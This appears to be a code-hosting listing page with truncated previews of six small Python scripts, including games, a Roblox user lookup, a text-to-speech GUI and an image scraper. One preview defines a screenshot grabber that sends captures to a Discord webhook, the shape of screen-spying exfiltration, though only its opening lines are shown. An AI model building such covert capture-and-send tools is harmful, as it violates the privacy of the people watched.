This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import random | |
user_action = input("Enter a choice (rock, paper, scissors): ") | |
possible_actions = ["rock", "paper", "scissors"] | |
computer_action = random.choice(possible_actions) | |
print(f"\nYou chose {user_action}, computer chose {computer_action}.\n") | |
if user_action == computer_action: | |
print(f"Both players selected {user_action}. It's a tie!") | |
elif user_action == "rock": |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import json | |
from openpyxl import Workbook | |
def get_user_id(username): | |
url = "https://users.roblox.com/v1/usernames/users" | |
payload = { | |
"usernames": [username], | |
"excludeBannedUsers": False | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from PIL import ImageGrab | |
import io | |
import time | |
def capture_screenshot(): | |
screenshot = ImageGrab.grab() | |
return screenshot | |
def send_to_discord(webhook_url, screenshot): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import random | |
number = random.sample(range(1, 10), 1)[0] | |
user = int(input("Entrez un nombre entre 1 et 9: ")) | |
if user == number: | |
print("Congrat, you've found the correct number !") | |
else: | |
print("Sorry, this isn't the right number.") | |
print(f"The number was {number}.") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import tkinter as tk | |
from tkinter import ttk | |
import pyttsx3 | |
engine = pyttsx3.init() | |
current_rate = engine.getProperty('rate') | |
current_volume = engine.getProperty('volume') | |
voices = engine.getProperty('voices') | |
current_voice_index = 0 # default |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from bs4 import BeautifulSoup | |
import random | |
import string | |
import time | |
import re | |
import os | |
from urllib.parse import unquote | |
if not os.path.exists('downloaded_images'): |